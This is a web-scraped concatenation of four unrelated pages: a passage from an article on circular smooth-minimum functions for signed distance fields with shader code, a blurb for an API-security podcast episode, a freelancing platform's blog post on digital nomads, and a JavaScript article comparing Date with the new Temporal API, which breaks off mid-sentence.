rescue. It achieves mathematically perfect circular profiles as well, but does not suffer from the overestimation problem since it belongs in the CD family, and hence is suitable for rendering. It is however a non-local blend, like all CD and DD smooth-minimums. But let's see how I deduced the formula for the Circular smooth-minimum: First, we assume we are working with two SDFs a and b meet at a 90 degree angle, and that k =1, so that: Now, we want to match the profile of a perfect circle passing through (1,1) and with radius of 1: But because , we can substitute in the equation above and get a quadratic polynomial in a : which we can solve with the quadratic equation formula to get Great. Now we need to match the gradient of f to that of the circle. From our analysis on gradients we did earlier, we know that our CD Circular smooth-minimum will have a gradient of the form But since our SDFs a and b are vertical and horizontal planes, we have ∇ a =(1,0) T and ∇ b =(0,1) T , so ∇ f = ( g'(x), 1 - g'(x) ) T . Also, the (unnormalized) gradient of our circle ∇f points in the direction (1-a,1-b) T since it's a circle centered at (1,1). So, we can write where m is some constant of proportionality. We can isolate m from the first equation and replace it in the second to obtain an expression for g'(x) in terms of a and b : But we already computed both a and b in terms of x in the quadratic above, so we can replace them and after a couple of simplifications, we get This is fantastic, all we need to do now is integrate and find the right constant C, to get our final result - a CD Kernel that produces a perfectly circular shape when smoothly blending to perpendicular SDFs: This Kernel can also be written as g(x) = 1+sin(asin(x√½)-π/4) , but there isn't any reason to use inverse trigonometric functions when a square root will just do. In fact, if you are a fellow oldschool programmer who got accustomed to CPU coding, the use of a square root might still be a red flag for you. However, it should not be - GPUs perform square roots almost in the same number of cycles as multiplications, unlike the CPUs where the gap is at least an order of magnitude. Still, if you are using CPUs after all for SDF evaluation and really really want to squeeze every single clock cycle available, then you can probably approximate the whole Circular kernel g(x) with a polynomial. For example, if we take a degree 4 polynomial then we have 5 coefficients/constraints to determine, from a 4 to a 0 . But because our approximation will be of CD family, we already have four such constraints g(-1) = g'(-1) = 0 and g(1) = g'(1) = 1 . The last constraint can be simply that g(0) matches that of the circular kernel, that is, g(0) = 1 - √½ . With that we are ready to set the system of equations which doesn't take much work to solve: This gives us all we need to code the circular approximation smooth-minimum, either in normal form (left) or in optimized form (right): // circular approximation float smin( float a, float b, float k ) { k *= 1.0 /( 1.0 - sqrt ( 0.5 )); const float a4 = 3.0 / 4.0 - sqrt ( 0.5 ); const float a2 = - 5.0 / 4.0 + 2.0 * sqrt ( 0.5 ) ; const float a0 = 1.0 - sqrt ( 0.5 ); float x = (b-a)/k; float g = (x> 1.0 ) ? x : (x 1.0 ) ? 0.0 : x*(x*(x*x*a4+a2)+ 0.5 )+a0; return b - k * g; } // circular approximation float smin( float a, float b, float k ) { k *= 1.0 /( 1.0 - sqrt ( 0.5 )); float h = max ( k- abs (a-b), 0.0 )/k; const float b2 = 13.0 / 4.0 - 4.0 * sqrt ( 0.5 ); const float b3 = 3.0 / 4.0 - 1.0 * sqrt ( 0.5 ); return min (a,b) - k*h*h*(h*b3*(h- 4.0 )+b2); } To get the code for the optimized form, all you need to do is propagate x=h-1 into the polynomial. Now, how does this compare to the exact circular smooth-minimum? Let's test it with two rectangles and a large blend band k . On the left you can see the quadratic smooth-minimum, on the right is the circular (which is exact), and in the middle you see the 4-th degree approximation that we just computed. The red arc is the ideal circular blend section. If you look closely you'll see the approximation doesn't conform to it exactly, there are a few white pixels that leak outside the red arc. In applications where this is a problem you might want to go to a degree 6 polynomial perhaps: Quadratic smooth-minimum Circular Approximation smooth-minimum Circular smooth-minimum Quadratic smooth-minimum Circular Approximation smooth-minimum Circular smooth-minimum Gradients of the Circular Geometrical The Circular Geometrical smooth-minimum, operates very differently to the DD family. I saw it first in Shadertoy used by folks learning from the demoscene group Mercury. Instead of relying on the difference of distances a and b like the DD family, it assumes these two SDFs are perpendicular and it explicitly constructs a circle connecting them, centered at ( k k, k ) T with radious k . So let's do some math see how that works, and without loss of generality, assume that k has already been normalized by 1-√½: So the partial derivatives of f with respect to a and b are: which means that the gradient of the Circular Geometrical smooth-minimum is: and its length squared is The only way for this quantity to be less that one (which is required to prevent overestimating distances) is: The denominator is positive and the numerator cannot be negative since inside the blending region both a ≤ k and b ≤ k , making their product positive. So the only regions of space where the gradient's length is less than one is given by That is the concave regions of space, and only there the Circular Geometrical smooth-minimum under-estimates. In other words, in the convex areas of the the union of two shapes the Circular Geometrical smooth-minimum overestimates the distance to the surface of the blended object, and vanilla raymarchers will fail and produce rendering artifacts, as we are about to see. Regions of distance under/over-estimation Here's a diagram showing how the CD smooth-minimums and the Circular Geometrical smooth-minimum behave. I've used the Quadratic Polynomial smooth-minimum as a representative of the CD family, but they all have very similar behavior diagrams. Quadratic smooth-min Circular Geometrical smooth-min Here the shadowed regions of the plane indicate areas where the smooth-minimum returns a lower bound of the real distance to the resulting shape (white boundary). Again, these are regions where the length of the gradient is less than 1.0, where sampling the smooth-minimum (indicated by the yellow dots) produces distance bounds (yellow circles) that do not touch the shape. This means in these regions a raymacher will perform slower than in the non-shadowed areas where it can traverse the scene at the Speed of Light. To make things worse, the regions of under-estimation for ALL smooth-minimum belonging on the DD and CD families span to infinity, ie, non-local. Indeed, these shaded regions in the left image only get larger and larger as we move away from the shapes, which is easy to prove: if you split the plane in a Voronoi diagram where each point in the plane is associated with the shape a or b that is closest to it, you will always find a band where | a - b |< k that extends along the edges of this Voronoi graph. This is bad news for our CD Family, which again, depending on the use of the SDFs, can make certain rendering or collusion detection methods that rely on bounding boxes be slightly more difficult than they could be otherwise. But not all CD smooth-minimums are equally bad, here you can see a comparison of the areas of sub-Speed-of-Light for different variants (the less dark shadowed yellow, the better): Quadratic Cubic Quartic Circular On the other hand, the Circular Geometrical smooth-minimum is locally supported unlike the CD family, and has its underestimation and overestimation regions bounded, which you can see by seeing that when far enough from the smooth-minimum shape, the plane is all regular yellow and isolines are exact. Leeping the slow raymarching regions contained to around the objects is a great property of course. However, here's the big drawback of the Circular Geometrical smooth-minimum - as we mentioned earlier, it often overestimates distances. The red colors indicate regions where the smooth-minimum overestimates the distance to the shape, which is very dangerous. I've marked in light red those where the length of the gradient is larger than one as discussed earlier, and in darker red regions where the gradient has length one yet the smooth-minimum is returning the distance to the underlying SDFs a or b rather than to the blended shape. Sampling the smooth-minimum in those regions produce distance bounds (yellow circles) that penetrate into the shape, or in other words, these are regions where raymarcher will go faster than the Speed of Light and things will break badly and renders will fail by showing holes on the objects, like seen in the image on the right in the following comparison: Circular smooth-min Circular Geometrical smooth-min While this seems bad, it can sometimes be easy to remedy by letting the raymarcher back-track when penetrating the surface, which can be done by breaking the loop based on the absolute value of the distance to the surface rather than the signed distance. The effort might be worth it, considering the Locality of the Circular Geometrical smooth-minimum which translates into less raymarching iterations to render the same picture. Here in the image below blue regions indicate the intersection was found in less than 15 iterations, yellow less than 25, and red 30 or more: Circular smooth-min Circular Geometrical smooth-min You can see that the CD Circular smooth-minimum required more iterations to resolve than the Circular Geometrical, specially around the center of the image. Properties Okey, let's gather all the things we've talked about so far about smooth-minimum, and make a list of the properties we care most about, one by one. Rigidity : Some smooth-minimum will distort the SDFs a and b no matter how far they are from each other. However, the CD family of smooth-minimums and the Circular Geometrical do preserve the shape of the SDFs a and b everywhere but in the blending region. Locality : all smooth-minimum will always produce non-exact SDF in some regions. As we saw, for the CD Family there are always infinitely large regions where the smooth-minimum under-estimates the distance, no matter how far we move away from the shapes or how far apart these shapes are. On the other hand, the Circular Geometric smooth-minimum has Local Support and doesn’t suffer from this problem, making it an attractive option depending on the application. Conservative : smooth-minimums that never overestimate distances are Conservative. This is a very desirable property, for it makes algorithms like raymarching and collision detection easier to implement in a robust manner without producing visual artifacts. Fortunately, ALL the smooth-minimums in the CD Family are guaranteed to produce underestimates by constriction, both because the kernel g(x)≤0 and also because the length of their gradient is always less than one. However, the Circular Geometrical smooth-minimum violates this property in many regions of space as we saw earlier, making it a less attractive option in some applications. Associativity : the CD Family of smooth-minimums is not associative, in that smin( a ,smin( b , c )) ≠ smin(smin( a , b ), c ). That is, the order in which you blend objects matters. This is certainly true for all members of the DD family. However, the Exponential and the Circular Geometrical can be blended in any order! So here goes a summary: Rigid Local Cons. Asso. Quadratic Yes No Yes No Cubic Yes No Yes No Quartic Yes No Yes No Circular Yes No Yes No Exponential No No Yes Yes Sigmoid No No Yes No Root No No Yes No Circular Geometric Yes Yes No Yes As you can see, there's no single smooth-minimum I know of that has all the desired properties, so the choice will be depend on your and what are the requirements of the application using it. Results In general I use the Quadratic polynomial smooth-min function because it's fast, close enough to circular, never overestimates, and while not local it still not too bad. Although the Circular is also a great option. Regardless, here go a few examples of the many uses I've done of the Quadratic smooth-minimum in the past to connect surfaces, such as snow and bridge in the images below. Regular min() Polynomial smooth-min() Note how the snow gently piling by the bridge thanks to the smooth minimum, and how thanks to the mix factor described above we can transition between the snow and stone materials (source code and realtime demo: shadertoy.com/view/Mds3z2 ). Regular min() Polynomial smooth-min(). Note how the regular min() union cannot smoothly connect the legs of the creature to its body (source code and realtime demo: shadertoy.com/view/Mss3zM ). Naturally, the technique is very handy for connecting the different pieces of one same character, such as the arms, head and body, which in the case of the following realtime shader are made of spheres, ellipsoids and segment primitives): inigo quilez - learning computer graphics since 1994 | 2026-01-13T08:47:37 |

Dan Barahona, Founder of APIsec University and Head of Growth at APIsec Sep 21 '23 play As APIs become more ubiquitous, they are increasingly targeted by hackers, so getting your API security right is a necessity. This week on API Intersection , we thought, what better way to celebrate Security September than to bring on the API security expert himself, Dan Barahona? As Founder of APIsec University and Head of Growth at APIsec , Dan Barahona comes to the table with over 20 years of experience in cybersecurity. He created APISec University to raise awareness and educate about API risks and security, and many of their courses are open to the public. In fact, I just did an entire course on API Documentation Best Practices and how it relates to security, which I highly recommend you all check out. Anyways, we discussed how organizations face various challenges in managing and securing APIs, such as API sprawl and a need for more visibility about their APIs. Here are a few quick wins to get you on the right track to proper API security. Most importantly, ensure you have proactive API security practices and address security concerns early in the development process. _____ To subscribe to the podcast, visit https://stoplight.io/podcast --- API Intersection Podcast listeners are invited to sign up for Stoplight and save up to $650!

More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up work What is a digital nomad and how do they make money? Digital nomads are individuals who use telecommunications to work remotely and live a nomadic lifestyle, and they have multiple ways to earn money while traveling. Esen Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points You saw them in your news feed, you probably saw them in your favorite coffee shop; and you’ve probably met one or two ‘em to know enough to hate them: People who do not have a classic 9 - 6 cubicle job, but rather a service they can deliver from wherever they may be, and usually in exotic countries or an amazing coast somewhere in the ocean.We are talking about the nomads that replaced the tents with AirBnB, horses with ride-sharing apps and their livelihoods with freelancing jobs: The Digital Nomads. If we need to put it out there like Wikipedia, "Digital nomads are a type of people who use telecommunications technologies to earn a living and, more generally, conduct their life in a nomadic manner. Such workers often work remotely from foreign countries, coffee shops, public libraries, co-working spaces." Digital nomads are the direct response in the paradigm shift in the workforce, with the Gig Economy piling up to be the next big thing in the department of human resources. Millions are joining in the trend each year around the world, it’s estimated that 1 in out of 4 employed individuals will be working out of office in the next decade, but as of 2019, 53% of employees in the global workforce has worked from their home at least once per week 70% of global employees worked from home at least once per month. 19% of employees worked remotely full time. How do you become a digital nomad? Although it could feel that it’s pretty hard to be a digital nomad, when you start reading and weighing your options, you’ll see that even with beginner experience, you could start making money while you are traveling the world.Keep in mind that becoming a digital nomad is not as easy as selecting a location and jumpin’ on a plane. There are planning and researching phrases that you should not skip.All in all, you must have a good grasp on what you can offer while traveling the world as a freelancer, where you would head to and where you would stay; and how much you will need to make while doing all this.The best way to start is to get a grasp on how you can earn money.[cta] So how do digital nomads make money? There are multiple ways to earn money while you are getting a sweet tan in Bali or mind-blowing self-realization in India. From translating to graphic design, you can do anything that can be digitally delivered. Use your native language as a tool, and start translating; SEO Consultancy Content Writing / Blog Posting Web Design Web Development Mobile App Development Graphic Design Video Content Production And to find jobs, look no further than Micro-job sites like Fiverr, PeopleperHour Long-term freelancing contracts from sites like Freelancer.com or UpWork Getting local jobs from the countries they visit, Presenting yourself to job posters as a cheaper alternative to full-time employment in job listing sites and Linkedin Finding job listing/employment groups to share your portfolio on Facebook In addition, while traveling, you can take dozens of photos and videos to supply & sell them on stock sites like Shutterstock, iStock or Getty. How much a digital nomad makes monthly? As in any category, there are some low and high outliers, but generally speaking Digital nomads can earn a high income; imagining an average middle-class worker makes around $50,000, a digital nomad with an experience around 2 to 4 years can make about more than $80,000; up to a whopping $120,000 in some cases. Experience LevelAverage Income 0-2 yearsUSD 65.0002-4 yearsUSD 80.0004-6 yearsUSD 105.0006+ yearsUSD 120.000And getting paid is much easier with Ruul since other payment methods like PayPal and Venmo can be out of reach in some parts of the world, whereas Ruul helps freelancers to become virtual companies. *wink*All in all, it’s one of the GenX and millennial favorites when it comes to career paths. Now pack your things, you are going on an everlasting vacation where you work wherever there is wi-fi, and don’t forget to bring sunscreen! Best Cities to Start a Digital Nomad Life We know that you all have your own dreamy vacation/workplace island somewhere in the Pacific, but when you think about the cost of living, internet connection, and utilities, there are several places to match your expectations for an Instagram-worthy office.

Since 2018. — From set.studio Articles Links Courses Newsletter Merch Login Switch to Dark Theme RSS Date is out, Temporal is in Mat “Wilto” Marquis , 07 January 2026 Topic: JavaScript Save 15% on all of our premium courses until the end of January! Check out the courses Advert Time makes fools of us all, and JavaScript is no slouch in that department either. Honestly, I’ve never minded the latter much — in fact, if you’ve taken JavaScript for Everyone or tuned into the newsletter , you already know that I largely enjoy JavaScript’s little quirks, believe it or not. I like when you can see the seams; I like how, for as formal and iron-clad as the ES-262 specification might seem, you can still see all the good and bad decisions made by the hundreds of people who’ve been building the language in mid-flight, if you know where to look. JavaScript has character . Sure, it doesn’t necessarily do everything exactly the way one might expect, but y’know, if you ask me, JavaScript has a real charm once you get to know it! There’s one part of the language where that immediately falls apart for me, though. Code language js Copy to clipboard // Numeric months are zero-indexed, but years and days are not: console . log ( new Date ( 2026 , 1 , 1 ) ) ; // Result: Date Sun Feb 01 2026 00:00:00 GMT-0500 (Eastern Standard Time) The Date constructor. Code language js Copy to clipboard // A numeric string between 32 and 49 is assumed to be in the 2000s: console . log ( new Date ( "49" ) ) ; // Result: Date Fri Jan 01 2049 00:00:00 GMT-0500 (Eastern Standard Time) // A numeric string between 33 and 99 is assumed to be in the 1900s: console . log ( new Date ( "99" ) ) ; // Result: Date Fri Jan 01 1999 00:00:00 GMT-0500 (Eastern Standard Time) // ...But 100 and up start from year zero: console . log ( new Date ( "100" ) ) ; // Result: Date Fri Jan 01 0100 00:00:00 GMT-0456 (Eastern Standard Time) I dislike Date immensely . Code language js Copy to clipboard // A string-based date works the way you might expect: console . log ( new Date ( "2026/1/2" ) ) ; // Result: Date Fri Jan 02 2026 00:00:00 GMT-0500 (Eastern Standard Time) // A leading zero on the month? No problem; one is one, right? console . log ( new Date ( "2026/02/2" ) ) ; // Result: Date Mon Feb 02 2026 00:00:00 GMT-0500 (Eastern Standard Time) // Slightly different formatting? Sure! console . log ( new Date ( "2026-02-2" ) ) ; // Result: Date Mon Feb 02 2026 00:00:00 GMT-0500 (Eastern Standard Time) // A leading zero on the day? Of course; why wouldn't it work? console . log ( new Date ( '2026/01/02' ) ) ; // Result: Date Fri Jan 02 2026 00:00:00 GMT-0500 (Eastern Standard Time) // Unless, of course, you separate the year, month, and date with hyphens. // Then it gets the _day_ wrong. console . log ( new Date ( '2026-01-02' ) ) ; // Result: Date Thu Jan 01 2026 19:00:00 GMT-0500 (Eastern Standard Time) Date sucks. It was hastily and shamelessly copied off of Java’s homework in the car on the way to school and it got all the same answers wrong, right down to the name at the top of the page: Date doesn’t represent a date , it represents a time . Internally, dates are stored as number values called time values : Unix timestamps, divided into 1,000 milliseconds — which, okay, yes, a Unix time does also necessarily imply a date, sure, but still : Date represents a time, from which you can infer a date. Gross. Code language js Copy to clipboard // Unix timestamp for Monday, December 4, 1995 12:00:00 AM GMT-05 (the day JavaScript was announced): const timestamp = 818053200 ; console . log ( new Date ( timestamp * 1000 ) ) ; // Result: Date Mon Dec 04 1995 00:00:00 GMT-0500 (Eastern Standard Time) Words like “date” and “time” mean things, but, sure — whatever, JavaScript . Java deprecated their Date way back in 1997, only a few years after JavaScript’s Date was turned loose on the unsuspecting world; meanwhile, we’ve been saddled with this mess ever since. It’s wildly inconsistent when it comes to parsing dates, as you’ve seen so far here. It has no sense of time zones beyond the local one and GMT, which is not ideal where “world-wide” is right there in the web’s name — and speaking-of, Date only respects the Gregorian calendar model. It wholesale does not understand the concept of daylight savings time, which— I mean, okay, yeah, samesies, but I’m not made of computers . All these shortcomings make it exceptionally common to use a third-party library dedicated to working around it all, some of which are absolutely massive ; a performance drain that has done real and measurable damage to the web. None of these are my major issue with Date . My complaint is about more than parsing or syntax or “developer ergonomics” or the web-wide performance impact of wholly necessary workarounds or even the definition of the word “date.” My issue with Date is soul-deep. My problem with Date is that using it means deviating from the fundamental nature of time itself . Advert All JavaScript’s primitives values are immutable , meaning that the values themselves cannot be changed. The number value 3 can never represent anything but the concept of “three” — you can’t make true mean anything other than “true.” These are values with concrete, iron-clad, real-world meanings. We know what three is. It can’t be some other non-three thing. These immutable data types are stored by value , meaning that a variable that represents the number value 3 effectively “contains” — and thus behaves as — the number value 3 . When an immutable value is assigned to a variable, the JavaScript engine creates a copy of that value and stores the copy in memory: Code language js Copy to clipboard const theNumber = 3 ; console . log ( theNumber ) ; // Result: 3 This fits the common mental model for “a variable” just fine: theNumber “contains” 3 . When we initialize theOtherNumber with the value bound to theNumber , that mental model holds: once again a 3 is created and stored in memory. theOtherNumber can now be thought of as containing its own discrete 3 . Code language js Copy to clipboard const theNumber = 3 ; const theOtherNumber = theNumber ; console . log ( theOtherNumber ) ; // Result: 3; The value of theNumber isn’t changed when we alter the value associated with theOtherNumber , of course — again, we’re working with two discrete instances of 3 . Code language js Copy to clipboard const theNumber = 3 ; let theOtherNumber = theNumber ; theOtherNumber = 5 ; console . log ( theOtherNumber ) ; // Result: 5; console . log ( theNumber ) ; // Result: 3 When you change the value bound to theOtherNumber , you’re not changing the 3 , you’re creating a new, immutable number value and binding that in its place. Hence an error when you try to tinker with a variable declared using const : Code language js Copy to clipboard const theNumber = 3 ; theNumber = 5 ; // Result: Uncaught TypeError: invalid assignment to const 'theNumber' You can’t change the binding of a const , and you definitely can’t alter the meaning of 3 . Data types that can be changed after they’re created are mutable , meaning that the data value itself can be altered. Object values — any non-primitive value, like an array, map, or set — are mutable. Variables (and object properties, function parameters, and elements in an array, set, or map) can’t “contain” an object, the way we might think of theNumber in the example above as “containing” 3 . A variable can contain either a primitive value or a reference value , the latter of which is a pointer to that object’s stored location in memory. When you assign an object to a variable, instead of creating a copy of that object, the identifier represents a reference to the object’s stored position in memory. That’s why an object bound to a variable declared with const can still be altered: the reference value can’t be changed, but the values of the object can: Code language js Copy to clipboard const theObject = { theValue : 3 } ; theObject . theValue ++ ; console . log ( theObject . theValue ) ; // Result: 4 You still can’t change the binding of a const , but you can alter the object that binding references. When a reference value is assigned from one variable to another, the JavaScript engine creates a copy of that reference value — not the object value itself, the way a discrete copy is made of a primitive value. Both identifiers point to the same object in memory — any changes made to that object by way of one reference will be reflected by the others, because they’re all referencing the same thing: Code language js Copy to clipboard const theObject = { theValue : 3 } ; const theOtherObj = theObject ; theOtherObj . theValue ++ ; console . log ( theOtherObj . theValue ) ; // Result: 4 console . log ( theObject . theValue ) ; // Result: 4 This is what gets me about JavaScript’s date handling. Despite representing “point to it on a calendar” values, JavaScript’s date values are mutable — Date is a constructor, invoking a constructor with new necessarily results in an object, and all objects are inherently mutable: Code language js Copy to clipboard const theDate = new Date ( ) ; console . log ( typeof theDate ) ; // Result: object Even though “January 1st, 2026” is as much an immutable real-world concept as “three” or “true,” the only way we have of representing that date is a with a mutable data structure. This also means that any variable initialized with an instance of the Date constructor contains a reference value, pointing to a data value in memory that can be changed by way of any reference to that value: Code language js Copy to clipboard const theDate = new Date ( ) ; console . log ( theDate . toDateString ( ) ) ; // Result: Tue Dec 30 2025 theDate . setMonth ( 10 ) ; console . log ( theDate . toDateString ( ) ) ; // Result: Sun Nov 30 2025 Again, we’re going to breeze right over the fact that month 10 is November . So despite real-world dates having set-in-stone meanings , the process of interacting with an instance of Date that represents that real-world value can mean altering that instance in ways we didn’t necessarily intend: Code language js Copy to clipboard const today = new Date ( ) ; const addDay = theDate => { theDate . setDate ( theDate . getDate ( ) + 1 ) ; return theDate ; } ; console . log ( ` Today is ${ today . toLocaleDateString ( ) } , tomorrow is ${ addDay ( today ) . toLocaleDateString ( ) } . ` ) ; // Result: Today is 12/31/2025. Tomorrow is 1/1/2026. Fine so far, right? Today is today, tomorrow is tomorrow; all is right in the world. You’d be forgiven for committing this to a codebase and moving on with your day. That is, unless we reordered the output slightly. Code language js Copy to clipboard const today = new Date ( ) ; const addDay = theDate => { theDate . setDate ( theDate . getDate ( ) + 1 ) ; return theDate ; } ; console . log ( ` Tomorrow will be ${ addDay ( today ) . toLocaleDateString ( ) } . Today is ${ today . toLocaleDateString ( ) } . ` ) ; // Result: Tomorrow will be 1/1/2026. Today is 1/1/2026. See what happened there? the variable today represents a reference to the object created by new Date() . When we provided today as an argument to the addDay function, the parameter theDate now represents a copy of the reference value — not a copy of the value, but a second reference to the object that represents today’s date. When we manipulate that value to determine the date of the following day, we’re manipulating the mutable object in memory, not an immutable copy — today becomes tomorrow, the falcon has a hard time hearing the falconer, the center starts to look a little iffy vis-a-vis “holding,” and so on. Now, by this point you can probably tell that I’m not here to praise Date , but what you might not expect is that I’m here to bury it. That’s right: Date is soon to be over, done, gone, as “deprecated” as any part of the web platform can be — which is to say, “around forever, but you shouldn’t use it anymore, if you can avoid it.” Soon we will — at long last — have an object that replaces Date wholesale: Temporal . Advert Temporal is not a constructor, it’s a namespace object The sharp-eyed among you may have noticed that I said “an object that replaces Date ,” not “a constructor.” Temporal is not a constructor, and your browser’s developer console will tell you the same if you attempt to invoke it as one: Code language js Copy to clipboard const today = new Temporal ( ) ; // Uncaught TypeError: Temporal is not a constructor Temporal is a way better name for something that pertains to time , if you ask me. Instead, Temporal is a namespace object — an ordinary object made up of static properties and methods, like the Math object: Code language js Copy to clipboard console . log ( Temporal ) ; /* Result (expanded): Temporal { … } Duration: function Duration() Instant: function Instant() Now: Temporal.Now { … } PlainDate: function PlainDate() PlainDateTime: function PlainDateTime() PlainMonthDay: function PlainMonthDay() PlainTime: function PlainTime() PlainYearMonth: function PlainYearMonth() ZonedDateTime: function ZonedDateTime() Symbol(Symbol.toStringTag): "Temporal" */ I find this immediately understandable compared to Date . The classes and namespaces objects that Temporal contains allow you to calculate durations between two points in time, represent a point in time with or without time zone specificity , or access the current moment in time via the Now property. Temporal.Now references a namespace object containing properties and methods of its own: Code language js Copy to clipboard console . log ( Temporal . Now ) ; /* Result (expanded): Temporal.Now { … } instant: function instant() plainDateISO: function plainDateISO() plainDateTimeISO: function plainDateTimeISO() plainTimeISO: function plainTimeISO() timeZoneId: function timeZoneId() zonedDateTimeISO: function zonedDateTimeISO() Symbol(Symbol.toStringTag): "Temporal.Now" <prototype>: Object { … } */ Temporal gives us a sensible, plain-language way to grab today’s date, a la raggedy old Date : the Now property contains a plainDateISO() method. Since we’re not specifying anything in the way of time zones (a thing we can do now, thanks to Temporal) that method gives us back today’s date in the current one — EST, in my case: Code language js Copy to clipboard console . log ( Temporal . Now . plainDateISO ( ) ) ; /* Result (expanded): Temporal.PlainDate 2025-12-31 <prototype>: Object { … } */ Notice how plainDateISO results in an already-formatted, date-only value? Stay tuned; that’ll come up again later. —wait. That looks familiar: Code language js Copy to clipboard const nowTemporal = Temporal . Now . plainDateISO ( ) ; const nowDate = new Date ( ) ; console . log ( nowTemporal ) ; /* Result (expanded): Temporal.PlainDate 2025-12-31 <prototype>: Object { … } */ console . log ( nowDate ) ; /* Result (expanded): Date Tue Dec 31 2025 11:05:52 GMT-0500 (Eastern Standard Time) <prototype>: Date.prototype { … } */ Could it be that—… Code language js Copy to clipboard const rightNow = Temporal . Now . instant ( ) ; console . log ( typeof rightNow ) ; // object Yes, we’re still working with a mutable object that represents the current date , I say in my spookiest voice, flashlight squarely beneath my chin. At a glance, this might not seem like it addresses my big complaint with Date at all. Well, we’re kind of at the mercy of the nature of the language, here: dates represent complex real-world values, complex data necessitates complex data structures, and for JavaScript, that means objects. The difference is in how we interact with these Temporal objects, as compared to instances of Date , and — as is so often the case — the magic is in the prototype chain: Code language js Copy to clipboard const nowTemporal = Temporal . Now . plainDateISO ( ) ; console . log ( nowTemporal . __proto__ ) ; /* Result (expanded): Object { … } add: function add() calendarId: >> constructor: function PlainDate() day: >> dayOfWeek: >> dayOfYear: >> daysInMonth: >> daysInWeek: >> daysInYear: >> equals: function equals() era: >> eraYear: >> inLeapYear: >> month: >> monthCode: >> monthsInYear: >> since: function since() subtract: function subtract() toJSON: function toJSON() toLocaleString: function toLocaleString() toPlainDateTime: function toPlainDateTime() toPlainMonthDay: function toPlainMonthDay() toPlainYearMonth: function toPlainYearMonth() toString: function toString() toZonedDateTime: function toZonedDateTime() until: function until() valueOf: function valueOf() weekOfYear: >> with: function with() withCalendar: function withCalendar() year: >> yearOfWeek: >> Symbol(Symbol.toStringTag): "Temporal.PlainDate" <get calendarId()>: function calendarId() <get day()>: function day() <get dayOfWeek()>: function dayOfWeek() <get dayOfYear()>: function dayOfYear() <get daysInMonth()>: function daysInMonth() <get daysInWeek()>: function daysInWeek() <get daysInYear()>: function daysInYear() <get era()>: function era() <get eraYear()>: function eraYear() <get inLeapYear()>: function inLeapYear() */ Right away you’ll notice that there are a number of methods and properties devoted to accessing, formatting, and manipulating the details of the Temporal object we’re working with. No big surprises there — it means a little bit of a learning curve, sure, but nothing an occasional trip over to MDN couldn’t solve, and they all more-or-less do what they say on their respective tins. The big difference from working with Date is how they do so, at a fundamental level: Code language js Copy to clipboard const nowTemporal = Temporal . Now . plainDateISO ( ) ; // Current local date: console . log ( nowTemporal ) ; /* Result (expanded): Temporal.PlainDate 2025-12-30 <prototype>: Object { … } */ // Current local year: console . log ( nowTemporal . year ) ; // Result: 2025 // Current local date and time: console . log ( nowTemporal . toPlainDateTime ( ) ) ; /* Result (expanded): Temporal.PlainDateTime 2025-12-30T00:00:00 <prototype>: Object { … } */ // Specify that this date represents the Europe/London time zone: console . log ( nowTemporal . toZonedDateTime ( "Europe/London" ) ) ; /* Result (expanded): Temporal.ZonedDateTime 2025-12-30T00:00:00+00:00[Europe/London] <prototype>: Object { … } */ // Add a day to this date: console . log ( nowTemporal . add ( { days : 1 } ) ) ; /* Temporal.PlainDate 2025-12-31 <prototype>: Object { … } */ // Add one month and one day to this date, and subtract two years: console . log ( nowTemporal . add ( { months : 1 , days : 1 } ) . subtract ( { years : 2 } ) ) ; /* Temporal.PlainDate 2024-01-31 <prototype>: Object { … } */ console . log ( nowTemporal ) ; /* Result (expanded): Temporal.PlainDate 2025-12-30 <prototype>: Object { … } */ Notice how none of these transformations required us to manually spin up any new objects, and that the value of the object referenced by nowTemporal remains unchanged? Unlike Date , the methods we use to interact with a Temporal object result in new Temporal objects, rather than requiring us to use them in the context of a new instance or to modify the instance we’re working with — which is how we’re able to chain the add and subtract methods together in nowTemporal.add({ months: 1, days: 1 }).subtract({ years: 2 }) . Sure, we’re still working with objects, and that means we’re working with mutable data structures that represent real-world values: Code language js Copy to clipboard const nowTemporal = Temporal . Now . plainDateISO ( ) ; nowTemporal . someProperty = true ; console . log ( nowTemporal ) ; /* Result (expanded): Temporal.PlainDate 2026-01-05 someProperty: true <prototype>: Object { … } …But the value represented by that Temporal object isn’t meant to be changed during the normal course of interacting with it — even though the object is still essentially mutable, we’re not stuck using that object in ways that could alter what it means in terms of real-world dates and times. I’ll take it. So, let’s revisit that janky little “today is X, tomorrow is Y” script we wrote using Date earlier. First, we’ll fix it by making sure we’re working with two discrete instances of Date rather than modifying the instance that represents today’s date: Code language js Copy to clipboard const today = new Date ( ) ; const addDay = theDate => { const tomorrow = new Date ( ) ; tomorrow . setDate ( theDate . getDate ( ) + 1 ) ; return tomorrow ; } ; console . log ( ` Tomorrow will be ${ addDay ( today ) . toLocaleDateString ( ) } . Today is ${ today . toLocaleDateString ( ) } . ` ) ; // Result: Tomorrow will be 1/1/2026. Today is 12/31/2025. Thanks, I hate it. Okay, fine. It gets the job done, just as it has since the day Date first bumbled its way onto the web. We’re not unwittingly altering the value of today since we’re spinning up a new instance of Date inside our addDay function — wordy, but it works, as it has for decades now. We add 1 to it, which we have to just kind of know means add one day. Then in our template literal we need to keep nudging JavaScript to give us the date in a format that doesn’t include the current time, as a string. It’s functional, but verbose. Now, let’s redo it using Temporal : Code language js Copy to clipboard const today = Temporal . Now . plainDateISO ( ) ; console . log ( ` Tomorrow will be ${ today . add ( { days : 1 } ) } . Today is ${ today } . ` ) ; // Result: Tomorrow will be 2026-01-01. Today is 2025-12-31. Now we’re talking. So much better . Leaner, meaner, and way less margin for error. We want today’s date without the time, and the object that results from invoking plainDateISO (and any new Temporal objects created from it) will retain that formatting without being coerced to a string. Formatting: check . We want to output a value that represents today’s date plus one day, and we want to do so in a way where we are unmistakably saying “add one day to it” with no parsing guesswork: check and check . Most importantly, we don’t want to run the risk of having our original today object altered unintentionally — because the result of calling the add method will always be a new Temporal object: check . Temporal is going to be a massive improvement over Date , and I only say “going to be” because it still isn’t quite ready for prime-time usage. The draft specification for the proposed Temporal object has reached stage three of the standardization process, meaning it is now officially “recommended for implementation” — not yet part of the standard that informs the ongoing development of JavaScript itself, but close enough that browsers can start tinkering with it. That means the results of that early experimentation may be used to further refine the specification, so nothing is set in stone just yet. Web standards are an iterative process, after all. That’s where you and I come in. Now that Temporal has landed in the latest versions of Chrome and Firefox — and others, soon — it’s time for us to get in there and kick the tires a little bit. We may not have had any say in Date , but we get to experiment with Temporal 